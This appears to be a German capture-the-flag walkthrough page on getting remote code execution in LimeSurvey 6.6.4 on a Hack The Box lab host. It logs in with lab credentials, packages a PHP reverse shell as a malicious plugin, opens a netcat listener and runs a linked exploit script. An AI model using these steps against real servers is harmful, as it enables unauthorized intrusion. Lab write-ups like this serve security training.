> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/limesurvey-cms-exploitation.md).

# LimeSurvey

## Verwundbarkeit im LimeSurvey-CMS

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/8aeb2f88c3cc421a35f2f7954499f52103333196" alt=""><figcaption></figcaption></figure>

#### Zugriff auf den Admin-Bereich

Die Administrationsoberfläche ist unter der folgenden URL verfügbar:

`http://take-survey.heal.htb/index.php/admin`

Melden Sie sich mit Ralphs Zugangsdaten an:

* **Benutzername** : `ralph`
* **Passwort** : `147258369`

<figure><img src="/files/cdd15119c0a9e4b0b325ee0f68f2b850fc87278a" alt=""><figcaption></figcaption></figure>

Die LimeSurvey-Version ist **6.6.4**, die anfällig ist für **Remote Code Execution (RCE)**.

<figure><img src="/files/3110a1c44dc5a3a21d4a768dd212ba57e3bc6c55" alt="" width="563"><figcaption></figcaption></figure>

### RCE-Ausnutzung durch eine bösartige Erweiterung

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Passen Sie das Exploit-Skript an den Zielkontext an.

<figure><img src="/files/8c56eae56e6ae7dd2d465dcb52ea68ea791ff68c" alt=""><figcaption></figcaption></figure>

Erstellen Sie zunächst ein Archiv mit `config.xml` und einer PHP-Reverse-Shell:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/028b8023157c2d12fa9cf2770c4f8dd530c1512e" alt=""><figcaption></figcaption></figure>

Installieren Sie dann das bösartige Plugin über die LimeSurvey-Weboberfläche.

<figure><img src="/files/4dcc0c3a6ca3819a41a8f95365979fd5a1cc93a9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/863f89821abb907733d91f3b370ca40b14059ab3" alt="" width="501"><figcaption></figcaption></figure>

Bewegen Sie den Mauszeiger über das installierte Plugin, um die Plugin-ID zu ermitteln.

<figure><img src="/files/57793cbc1f5679c2dba8f863b433db0e74f62a11" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d36727e08d67feb08dce3ebfdd065bac142838a4" alt="" width="563"><figcaption></figcaption></figure>

Starten Sie nach dem Aktualisieren des Skripts mit dieser ID einen Listener auf Port 443:

```bash
nc -nlvp 443
```

Führen Sie schließlich den Exploit mit Python aus:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/005009fc2016a691fe5f53cdcf3d43c417e5cb3b" alt=""><figcaption></figcaption></figure>


---

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